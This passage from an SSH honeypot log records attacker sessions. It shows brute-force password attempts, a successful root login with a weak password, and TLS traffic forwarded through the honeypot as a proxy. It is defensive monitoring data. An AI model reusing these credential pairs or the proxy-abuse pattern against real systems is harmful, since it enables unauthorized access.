-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:45.249718Z","src_ip":"152.32.129.186","session":"6899f822b416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fran","password":"Fran123!","message":"login attempt [fran/Fran123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:46.129604Z","src_ip":"152.32.129.186","session":"6899f822b416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:47.343974Z","src_ip":"152.32.129.186","session":"6899f822b416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":54646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2f267403557","protocol":"ssh","message":"New connection: 77.90.185.17:54646 (159.203.135.109:22) [session: f2f267403557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:02.190225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:02.195318Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:02.305380Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:02.815106Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"77.90.185.17","src_port":51362,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:51362","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:04.128850Z","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:04.734131Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j<&\\xab\\x8b\\xb2I\\x90eW\\xff\\xad\\xbd7\\xdc\"\\x03\\x0c\\x9b\\xe6\\x1d\\xbb\\r\\x1bI\\xd0LijT\\xea\\xf5 \\x91(`\\xfcAW\\xde,\\xbf\\x93\\xb9\\xd5-\\xc8\\x14e\\xb9\\x00\\x96\\x18\\\\zX\\xa4~q\\xf7\\x12\\x8a\\'\\xcfg\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x86t\\xe6\\xc8d8u\\xc8\\xe0\\x87\\x08d\\xf9\\x03\\xbfQa\\xdc~\\xd3\\xa2\\x04\\'\\xa1\\xe5\\xc5\\x1e\\xbd\\xba\\xc0O\\x19\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j<&\\xab\\x8b\\xb2I\\x90eW\\xff\\xad\\xbd7\\xdc\"\\x03\\x0c\\x9b\\xe6\\x1d\\xbb\\r\\x1bI\\xd0LijT\\xea\\xf5 \\x91(`\\xfcAW\\xde,\\xbf\\x93\\xb9\\xd5-\\xc8\\x14e\\xb9\\x00\\x96\\x18\\\\zX\\xa4~q\\xf7\\x12\\x8a\\'\\xcfg\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x86t\\xe6\\xc8d8u\\xc8\\xe0\\x87\\x08d\\xf9\\x03\\xbfQa\\xdc~\\xd3\\xa2\\x04\\'\\xa1\\xe5\\xc5\\x1e\\xbd\\xba\\xc0O\\x19\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:04.737797Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":51894,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:51894","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:04.904399Z","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:05.036217Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87\\xa2\\xad\\x1d\\xb7\\xc5\\xad\\xf7.\\x13j\\xd1\\xd7\\xe5\\x85J\\x9bF+\\x9c\\x95\\xf4\\xa5C@6\\xaak\\x9e\\xa7\\xac\\xea \\x9a\\x81\\x12\\xb8\\xaa\\x16\\x04\\xcf4\\xf4\\x8a\\x01-)b\\xb7V\\xfah\\x0bH\\x19_\\x84\\x8b\\x04\\xb2BZ\\xa4\\x98\\x02\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 +k\\xed\\x0b\\x8f[\\xd0\\xc6\\xd9\\xc8)u\\x94\\xf7\\xae}\\x8e\\x14\\x99\\x16\\xa9\\xd1\\xfc\\xb7\\x89\\x16)a\\x1d\\xc3\\xd5`\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87\\xa2\\xad\\x1d\\xb7\\xc5\\xad\\xf7.\\x13j\\xd1\\xd7\\xe5\\x85J\\x9bF+\\x9c\\x95\\xf4\\xa5C@6\\xaak\\x9e\\xa7\\xac\\xea \\x9a\\x81\\x12\\xb8\\xaa\\x16\\x04\\xcf4\\xf4\\x8a\\x01-)b\\xb7V\\xfah\\x0bH\\x19_\\x84\\x8b\\x04\\xb2BZ\\xa4\\x98\\x02\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 +k\\xed\\x0b\\x8f[\\xd0\\xc6\\xd9\\xc8)u\\x94\\xf7\\xae}\\x8e\\x14\\x99\\x16\\xa9\\xd1\\xfc\\xb7\\x89\\x16)a\\x1d\\xc3\\xd5`\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:05.041220Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.156.119","dst_port":443,"src_ip":"77.90.185.17","src_port":52298,"message":"direct-tcp connection request to 142.251.156.119:443 from 127.0.0.1:52298","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:05.473803Z","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.156.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.156.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:37:05.973555Z","src_ip":"77.90.185.17","session":"f2f267403557","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.156.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]w,\\xae\\xa8\\xda(rcX\\xd5\\xd7.\\x90\\xf9kY\\x1c\\tqnw\\xdb\\xb2\\r7\\xd0\\xcb\\xa1#)} b\\xa2\\\\\\x8d\\x8c\\xeeU\\xd5k\\xe9\\xb7\\xad\\x91CD\\xfb\"~f\\xde\\x88\\x84\\xfa\\xd6\\xce\\x87\\x17g\\xbe\\x13\\x1d\\xc2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 {\\xfaJo\\xdfg\\xce\\xa0\\xe9\\x87 \\x8a r\\xb4\\x9f\\xbf2\\xb1\\xbf`\\x98\\x8dy\\xcf\\x87\\x8d3\\x8f_\\xb6\\x15\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.156.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]w,\\xae\\xa8\\xda(rcX\\xd5\\xd7.\\x90\\xf9kY\\x1c\\tqnw\\xdb\\xb2\\r7\\xd0\\xcb\\xa1#)} b\\xa2\\\\\\x8d\\x8c\\xeeU\\xd5k\\xe9\\xb7\\xad\\x91CD\\xfb\"~f\\xde\\x88\\x84\\xfa\\xd6\\xce\\x87\\x17g\\xbe\\x13\\x1d\\xc2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 {\\xfaJo\\xdfg\\xce\\xa0\\xe9\\x87 \\x8a 